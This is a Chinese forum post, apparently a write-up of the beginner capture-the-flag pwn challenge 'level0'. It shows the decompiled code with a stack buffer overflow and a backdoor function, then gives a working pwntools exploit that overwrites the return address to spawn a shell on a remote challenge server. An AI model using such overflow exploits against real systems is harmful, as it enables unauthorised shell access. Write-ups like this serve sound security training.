首页
论坛
课程
招聘
[原创]攻防世界PWN新手区:level0
2022-4-4 12:53 3779

[原创]攻防世界PWN新手区:level0

2022-4-4 12:53
3779

题目描述:菜鸡了解了什么是溢出,他相信自己能得到shell

一、基础信息探查:

还是老三样:

二、逆向分析:

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}

主函数的逻辑很简单就是写一串字符串然后调用一个函数,跟进去看一下函数代码

1
2
3
4
5
6
ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF
 
  return read(0, buf, 0x200uLL);
}

这里看到了一个read函数,接收了512字节的字符串,这里很明显可以利用它覆盖return的值,那么接下来要考虑的就是要跳到哪里去了,可以看一下左边的函数列表:

 

发现这里有一个后门,查看代码

1
2
3
4
int callsystem()
{
  return system("/bin/sh");
}

现在思路就很清晰了,通过read函数覆盖返回地址到callsystem函数

三、shellcode编写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
context(os='linux',arch='amd64',log_level="debug")
content = 0
 
elf = ELF("level0")
system_addr = elf.symbols["callsystem"]   #0x400596
 
def main():
    if content == 1:
        io = process("level0")
    else:
        io = remote("111.200.241.244",53920)      #建立连接
 
    payload = b'A' * (0x80 + 8) +p64(system_addr)
 
    io.recvuntil("Hello, World\n")
    io.sendline(payload)
 
    io.interactive()
 
if __name__ == '__main__':
    main()

图片描述


[2022夏季班]《安卓高级研修班(网课)》月薪两万班招生中~

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回